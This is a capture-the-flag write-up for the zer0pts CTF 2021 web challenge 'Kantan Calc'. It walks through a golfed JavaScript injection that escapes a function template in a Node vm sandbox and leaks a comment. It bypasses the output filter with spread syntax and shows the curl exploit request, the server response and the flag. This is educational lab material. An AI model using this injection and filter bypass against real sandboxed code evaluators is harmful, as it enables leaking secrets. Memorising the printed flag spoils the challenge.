# Kantan Calc - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `web`
## Overview
- User input and the flag will be inserted into `'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, and the server executes the code in sandbox.
```javascript=19
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
```
- As you can see in the code, the flag is inserted as a comment in a function, after user input. So, what you need to do is somehow exfiltrating the comment by, for example, converting the function to `String` and outputting it.
- Since the server sets the maximum length of user input to 29 characters, you need to do code-golf with some features available in recent ECMAScript.
```javascript=15
const code = req.query.code + '';
if (code && code.length < 30) {
```
## Solution
### Separating `FLAG` comment to a different function
First you need to do is accessing to the function itself. However, since `'use strict'` is enabled, you cannot use `arguments.callee`.
One way to avoid the restriction is separating functions. You can access a function, which contains `FLAG` as a comment, as a parameter like below.
```javascript
'use strict'; (function () { return arguments[0] })(function () {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
```
### Code golf
1. Use arrow functions (-1 byte)
```javascript
'use strict'; (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
```
2. If arrow functions have no arguments, you need to put parentheses. However, JavaScript allows you to put arguments even though no parameters will be given (-2 bytes)
```javascript
'use strict'; (function () { return a => arguments[0]})(b => {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
```
3. Remove spaces (-4 bytes)
```javascript
'use strict'; (function () { return a=>arguments[0]})(b=>{; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
```
This code should return the function `b=>{; /* ${FLAG} */ }`.
However, when you submit this payload `a=>arguments[0]})(b=>{`, the server shows `Error: please do not exfiltrate the flag`. This is because if `output`, which is the result of `vm.runInNewContext`, contains `zer0pts`, the server does not print the result. You need to bypass this restriction.
```javascript=21
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
```
### Bypass the restriction
There are some ways to bypass the restriction, such as converting the function to `String`, then get the contents character by character with the bracket notation like `str[i]`. This time, let's use the way converting the function to `String` and then treating it as `Array`.
Recent JavaScript has spread syntax, which can be used to converting `String` to `Array` as below.
```javascript
[...'abc'] // => ["a", "b", "c"]
```
And, when you converting `Array` to `String`, the result will be comma separated string.
```javascript
["a", "b", "c"] + '' // => "a,b,c"
```
With these behaviors, you can bypass the restriction of the server with the payload as below.
```javascript
'use strict'; (function () { return a=>[...arguments[0]+0]})(b=>{; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
```
```
$ curl http://web.ctf.zer0pts.com:8002/?code=a%3D%3E%5B...arguments%5B0%5D%2B0%5D%7D%29%28b%3D%3E%7B
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Kantan Calc</title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><main><h1>Kantan Calc</h1><p>"Kantan" means simple or easy in Japanese.</p><a href="/source">source</a><h2>Code</h2><form action="/" method="get"><input type="text" name="code" size="40" placeholder="7*7" maxlength="29"><input type="submit" value="submit"></form><h2>Output</h2><output>b,=,>,{,;, ,/,*, ,z,e,r,0,p,t,s,{,K,4,n,t,4,n,_,m,3,4,n,s,_,4,d,m,1,r,4,t,1,o,n,_,1,n,_,J,4,p,4,n,3,s,3,}, ,*,/, ,},0</output></main></body></html>
```
```
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}
```